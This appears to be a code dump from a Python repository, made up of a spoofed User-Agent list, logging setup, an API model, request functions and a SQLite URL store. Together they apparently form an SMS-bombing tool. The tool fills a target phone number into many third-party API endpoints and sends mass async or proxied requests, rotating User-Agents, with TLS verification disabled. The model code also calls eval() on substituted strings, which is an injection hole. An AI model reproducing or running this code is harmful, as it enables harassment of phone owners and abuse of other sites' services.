(Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.177.1 Safari/530.8"}, 156 | { 157 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8"}, 158 | {"User-Agent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"}, 159 | { 160 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.40 Safari/530.5"}, 161 | { 162 | "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"}, 163 | { 164 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.24 Safari/532.0"}, 165 | { 166 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10"}, 167 | { 168 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2"}, 169 | { 170 | "User-Agent": "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7"}, 171 | {"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461)"}, 172 | {"User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0)"}, 173 | { 174 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3"}, 175 | {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) Gecko/20041001 Firefox/0.10.1"}, 176 | {"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)"}, 177 | { 178 | "User-Agent": "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3"}, 179 | { 180 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0"}, 181 | {"User-Agent": "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0) Gecko/16.0 Firefox/16.0"}, 182 | { 183 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3"}, 184 | {"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1"}, 185 | {"User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"}, 186 | {"User-Agent": "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.864.0 Safari/535.2"}, 187 | {"User-Agent": "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1"}, 188 | { 189 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0"}, 190 | {"User-Agent": "Mozilla/5.0 (Windows NT 5.1; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1"}, 191 | {"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.801.0 Safari/535.1"}, 192 | { 193 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0"}, 194 | { 195 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13"}, 196 | { 197 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5"}, 198 | { 199 | "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7"}, 200 | { 201 | "User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.697.0 Safari/534.24"}, 202 | { 203 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.548.0 Safari/534.10"}, 204 | { 205 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.652.0 Safari/534.17"}, 206 | { 207 | "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.62 Safari/537.36"}, 208 | { 209 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 ChromePlus/1.5.2.0"}, 210 | { 211 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.0 Safari/532.1"}, 212 | { 213 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0"}, 214 | { 215 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.2 Safari/533.2"}, 216 | { 217 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.4 Safari/532.1"}, 218 | {"User-Agent": "Mozilla/5.0 (Windows NT 6.0; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1"}, 219 | { 220 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19"}, 221 | {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.5) Gecko/20041108 Firefox/1.0"}, 222 | { 223 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.462.0 Safari/534.3"}, 224 | {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.5) Gecko/20041122 Firefox/1.0"}, 225 | {"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)"}, 226 | {"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HCI0449; .NET CLR 1.0.3705)"}, 227 | { 228 | "User-Agent": "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt); Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1);"}, 229 | { 230 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.23 Safari/530.5"}, 231 | { 232 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0"}, 233 | {"User-Agent": "Mozilla/5.0 (Windows NT 6.0; rv:14.0) Gecko/20100101 Firefox/14.0.1"}, 234 | { 235 | "User-Agent": "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36"}, 236 | { 237 | "User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1"}, 238 | { 239 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.176.0 Safari/530.7"}, 240 | { 241 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21"}, 242 | { 243 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0"}, 244 | {"User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"}, 245 | {"User-Agent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.1"}, 246 | { 247 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.55 Safari/525.19"}, 248 | {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0a1) Gecko/20110623 Firefox/7.0a1 Fennec/7.0a1"}, 249 | { 250 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.724.100 Safari/534.30"}, 251 | { 252 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0"}, 253 | {"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; uZardWeb/1.0; Server_HK)"}, 254 | {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"}, 255 | { 256 | "User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)"}, 257 | { 258 | "User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)"}, 259 | { 260 | "User-Agent": "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3"}, 261 | { 262 | "User-Agent": "Mozilla/5.0 (Windows NT 6.0) yi; AppleWebKit/345667.12221 (KHTML, like Gecko) Chrome/23.0.1271.26 Safari/453667.1221"}, 263 | { 264 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.2 (KHTML, like Gecko) Chrome/3.0.191.3 Safari/531.2"}, 265 | { 266 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.39 Safari/530.5"}, 267 | { 268 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0"}, 269 | { 270 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.38 Safari/532.0"}, 271 | { 272 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0"}, 273 | {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b) Gecko/20050118 Firefox/1.0+"}, 274 | {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.7) Gecko/20040707 Firefox/0.9.2"}, 275 | { 276 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0"}, 277 | { 278 | "User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SE 2.X MetaSr 1.0; SE 2.X MetaSr 1.0; .NET CLR 2.0.50727; SE 2.X MetaSr 1.0)"}, 279 | { 280 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.171.0 Safari/530.4"}, 281 | { 282 | "User-Agent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)"}, 283 | { 284 | "User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"}, 285 | {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0"}, 286 | { 287 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"}, 288 | { 289 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2"}, 290 | { 291 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/1.0.156.0 Safari/528.8"}, 292 | {"User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0)"}, 293 | { 294 | "User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"}, 295 | { 296 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.43 Safari/534.7"}, 297 | { 298 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13"}, 299 | { 300 | "User-Agent": "Mozilla/5.0 (ipad Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.498.0 Safari/534.6"}, 301 | { 302 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5"}, 303 | { 304 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0"}, 305 | { 306 | "User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11"}, 307 | { 308 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.19 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.19"}, 309 | { 310 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-CA) AppleWebKit/534.13 (KHTML like Gecko) Chrome/9.0.597.98 Safari/534.13"}, 311 | {"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"}, 312 | { 313 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0"}, 314 | { 315 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0"}, 316 | { 317 | "User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"}, 318 | { 319 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0"}, 320 | { 321 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1"}, 322 | { 323 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6"}, 324 | { 325 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.154.6 Safari/525.19"}, 326 | { 327 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.599.0 Safari/534.13"}, 328 | { 329 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.8 (KHTML, like Gecko) Chrome/7.0.521.0 Safari/534.8"}, 330 | { 331 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1" 332 | }, 333 | { 334 | "User-Agent": "Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5"}, 335 | ] 336 | 337 | 338 | def default_header_user_agent(): 339 | return random.choice(USER_AGENT_LIST) 340 | -------------------------------------------------------------------------------- /utils/log.py: -------------------------------------------------------------------------------- 1 | # encoding=utf8 2 | # 日志模块 3 | from loguru import logger 4 | import pathlib 5 | import sys 6 | import os 7 | 8 | # 终端日志输出格式 9 | stdout_fmt = '{time:HH:mm:ss,SSS} ' \ 10 | '[{level}] ' \ 11 | '{thread.name} ' \ 12 | '{module}:{line} - ' \ 13 | '{message}' 14 | 15 | # 日志文件记录格式 16 | # logfile_fmt = '{time:YYYY-MM-DD HH:mm:ss,SSS} ' \ 17 | # '[{level: <5}] ' \ 18 | # '{process.name}({process.id}):' \ 19 | # '{thread.name: <10}({thread.id: <5}) | ' \ 20 | # '{module}.{function}:' \ 21 | # '{line} - {message}' 22 | 23 | logfile_fmt = '{time:YYYY-MM-DD HH:mm:ss,SSS} ' \ 24 | '[{level}] ' \ 25 | '{module}.{function}:' \ 26 | '{line} - {message}' 27 | 28 | log_pathDir = pathlib.Path(os.getcwd()).resolve().joinpath('logs') 29 | if not log_pathDir.is_dir(): 30 | log_pathDir.mkdir() 31 | log_path = log_pathDir.joinpath('run.log').resolve() 32 | 33 | logger.remove() 34 | 35 | if not os.environ.get('PYTHONIOENCODING'): # 设置编码 36 | os.environ['PYTHONIOENCODING'] = 'utf-8' 37 | 38 | logger.add(sys.stderr, level='INFO', format=stdout_fmt, enqueue=True) 39 | # 输出到文件 40 | # logger.add(log_path, level='DEBUG', format=logfile_fmt, 41 | # enqueue=True, encoding='utf-8') 42 | 43 | if __name__ == "__main__": 44 | logger.info("test") 45 | -------------------------------------------------------------------------------- /utils/models.py: -------------------------------------------------------------------------------- 1 | # encoding=utf8 2 | # 一些模型 3 | from pydantic import BaseModel 4 | from typing import Union, Optional 5 | from datetime import datetime 6 | import json 7 | 8 | from utils import default_header_user_agent 9 | 10 | 11 | 12 | class API(BaseModel): 13 | """处理自定义 API 数据""" 14 | desc: str = "Default" 15 | url: str 16 | method: str = "GET" 17 | 18 | header: Optional[Union[str, dict]] = default_header_user_agent() 19 | 20 | data: Optional[Union[str, dict]] 21 | 22 | def replace_data(self, content: Union[str, dict], phone: str) -> str: 23 | # 统一转换成 str 再替换. ' -> " 24 | # 对于内容本身有 '或者"的这样做法会导致拿的不是想要的东西 比如 这条就json失败的 25 | # { 26 | # "phone": "[phone]", 27 | # "country_num": "[name='country_num']", 28 | # "type": "0" 29 | # } 30 | if phone: 31 | content = str(content).replace("[phone]", phone).replace( 32 | "[timestamp]", self.timestamp_new()) # .replace("'", '"') 33 | 34 | # 尝试 json 化 35 | try: 36 | return eval(content) # 改为eval 虽然也不严谨不过暂时也能用 37 | # return json.loads(content.replace("'", '"')) 38 | except: 39 | return content 40 | 41 | def timestamp_new(self) -> str: 42 | """返回整数字符串时间戳""" 43 | return str(int(datetime.now().timestamp())) 44 | 45 | 46 | def handle_API(self, phone: str=None): 47 | """ 传入手机号处理 API 48 | :param API: one API basemodel 49 | :return: API basemodel 50 | """ 51 | # 仅仅当传入 phone 参数时添加 Referer 52 | # fix: 这段代码很有问题....... 53 | if phone: 54 | # 进入的 header 是个字符串 55 | if self.header == "": 56 | self.header = {'Referer': self.url} 57 | 58 | self.header = self.replace_data(self.header, phone) 59 | if not self.header.get('Referer'): 60 | self.header['Referer'] = self.url # 增加 Referer 61 | 62 | self.data = self.replace_data(self.data, phone) 63 | self.url = self.replace_data(self.url, phone) 64 | # print(self) 65 | return self 66 | -------------------------------------------------------------------------------- /utils/req.py: -------------------------------------------------------------------------------- 1 | # encoding=utf8 2 | # 请求的方法 3 | import httpx 4 | from httpx import Limits 5 | from typing import Union, List 6 | import asyncio 7 | 8 | 9 | from utils import default_header_user_agent 10 | 11 | from utils.models import API 12 | from utils.log import logger 13 | 14 | 15 | def reqAPI(api: API, client: Union[httpx.Client, httpx.AsyncClient]) -> httpx.Response: 16 | if isinstance(api.data, dict): 17 | resp = client.request(method=api.method, json=api.data, 18 | headers=api.header, url=api.url, timeout=10) 19 | else: 20 | resp = client.request(method=api.method, data=api.data, 21 | headers=api.header, url=api.url, timeout=10) 22 | return resp 23 | 24 | 25 | 26 | def reqFuncByProxy(api: Union[API, str], phone: Union[tuple, str], proxy: dict) -> bool: 27 | 28 | """通过代理请求接口方法""" 29 | # 多手机号支持 30 | if isinstance(phone, tuple): 31 | phone_lst = [_ for _ in phone] 32 | else: 33 | phone_lst = [phone] 34 | with httpx.Client(headers=default_header_user_agent(), verify=False, proxies=proxy) as client: 35 | for ph in phone_lst: 36 | try: 37 | if isinstance(api, API): 38 | api = api.handle_API(ph) 39 | resp = reqAPI(api, client) 40 | logger.info(f"{api.desc}-{resp.text[:30]}") 41 | else: 42 | api = api.replace("[phone]", ph).replace(" ", "").replace('\n', '').replace('\r', '') 43 | resp = client.get(url=api, headers=default_header_user_agent()) 44 | logger.info(f"GETAPI接口-{resp.text[:30]}") 45 | return True 46 | except httpx.HTTPError as why: 47 | logger.error(f"请求失败{why}") 48 | return False 49 | 50 | 51 | def reqFunc(api: Union[API, str], phone: Union[tuple, str]) -> bool: 52 | 53 | """请求接口方法""" 54 | # 多手机号支持 55 | if isinstance(phone, tuple): 56 | phone_lst = [_ for _ in phone] 57 | else: 58 | phone_lst = [phone] 59 | with httpx.Client(headers=default_header_user_agent(), verify=False) as client: 60 | for ph in phone_lst: 61 | try: 62 | if isinstance(api, API): 63 | api = api.handle_API(ph) 64 | resp = reqAPI(api, client) 65 | logger.info(f"{api.desc}-{resp.text[:30]}") 66 | else: 67 | api = api.replace("[phone]", ph).replace(" ", "").replace('\n', '').replace('\r', '') 68 | resp = client.get(url=api, headers=default_header_user_agent()) 69 | logger.info(f"GETAPI接口-{resp.text[:30]}") 70 | return True 71 | except httpx.HTTPError as why: 72 | logger.error(f"请求失败{why}") 73 | return False 74 | 75 | 76 | async def asyncReqs(src: Union[API, str], phone: Union[tuple, str], semaphore): 77 | """异步请求方法 78 | 79 | :param: 80 | :return: 81 | 82 | """ 83 | # 多手机号支持 84 | if isinstance(phone, tuple): 85 | phone_lst = [_ for _ in phone] 86 | else: 87 | phone_lst = [phone] 88 | async with semaphore: 89 | async with httpx.AsyncClient( 90 | limits=Limits(max_connections=1000, 91 | max_keepalive_connections=2000), 92 | headers=default_header_user_agent(), 93 | verify=False, 94 | timeout=99999 95 | ) as c: 96 | 97 | for ph in phone_lst: 98 | try: 99 | if isinstance(src, API): 100 | src = src.handle_API(ph) 101 | r = await reqAPI(src, c) 102 | else: 103 | # 利用元组传参安全因为元组不可修改 104 | s = (src.replace(" ", "").replace("\n", "").replace("\t", "").replace( 105 | "&", "").replace('\n', '').replace('\r', ''),) 106 | r = await c.get(*s) 107 | return r 108 | except httpx.HTTPError as why: 109 | logger.error(f"异步请求失败{type(why)}") 110 | # logger.error(f"异步请求失败{why}") 111 | # import aiofiles 112 | # async with aiofiles.open("error.txt","a",encoding="utf-8") as f: 113 | # await f.write(f"{str(s[0]) if str(s[0]) else str(src)}\n") 114 | except TypeError: 115 | logger.error("类型错误") 116 | except Exception as wy: 117 | logger.exception(f"异步失败{wy}") 118 | 119 | 120 | def callback(result): 121 | """异步回调函数""" 122 | log = result.result() 123 | if log is not None: 124 | logger.info(f"请求结果:{log.text[:30]}") 125 | 126 | 127 | 128 | async def runAsync(apis: List[Union[API,str]], phone: Union[tuple, str]): 129 | 130 | 131 | tasks = [] 132 | 133 | for api in apis: 134 | semaphore = asyncio.Semaphore(999999) 135 | task = asyncio.ensure_future(asyncReqs(api, phone, semaphore)) 136 | task.add_done_callback(callback) 137 | tasks.append(task) 138 | 139 | await asyncio.gather( 140 | *tasks 141 | ) 142 | -------------------------------------------------------------------------------- /utils/sql.py: -------------------------------------------------------------------------------- 1 | # encoding=utf8 2 | # 读写sqlite数据库 3 | from pathlib import Path 4 | from utils.log import logger 5 | import sqlite3 6 | 7 | 8 | class Sql(object): 9 | """处理SQL数据""" 10 | 11 | def __init__(self, db_path: Path) -> None: 12 | '''初始化数据库''' 13 | # 数据库路径 14 | # db_path = Path.cwd().joinpath("api.db") 15 | # 连接数据库,不检查是否在同一个线程. 16 | self.client = sqlite3.connect( 17 | db_path, timeout=6, check_same_thread=False) 18 | self.cursor = self.client.cursor() 19 | self.newTable() 20 | 21 | def newTable(self): 22 | '''初始化表结构''' 23 | sql = ''' 24 | CREATE TABLE IF NOT EXISTS API200 ( 25 | id INT NULL, 26 | url TEXT NOT NULL, 27 | primary key (url) 28 | ); 29 | ''' 30 | self.cursor.execute(sql) 31 | self.client.commit() 32 | 33 | def update(self, url): 34 | '''插入数据''' 35 | sql = ''' 36 | INSERT INTO API200 (ID,url) VALUES (null,?) 37 | ''' 38 | try: 39 | self.cursor.execute(sql, (url,)) 40 | self.client.commit() 41 | logger.success("插入成功!") 42 | return True 43 | except sqlite3.IntegrityError: 44 | logger.error(f"数据重复!") 45 | return False 46 | 47 | def select(self) -> list: 48 | '''获取所有接口''' 49 | sql = ''' 50 | SELECT url FROM API200; 51 | ''' 52 | try: 53 | self.cursor.execute(sql) 54 | result = self.cursor.fetchall() 55 | urls = [] 56 | for url in result: 57 | urls.append(url[0]) 58 | return urls 59 | except Exception as e: 60 | logger.error('读取出现错误!', e) 61 | 62 | def __del__(self) -> None: 63 | '''对象被删除时执行的函数''' 64 | logger.info(f"共改变{self.client.total_changes}条数据!,正在关闭数据库连接......") 65 | self.client.close() 66 | --------------------------------------------------------------------------------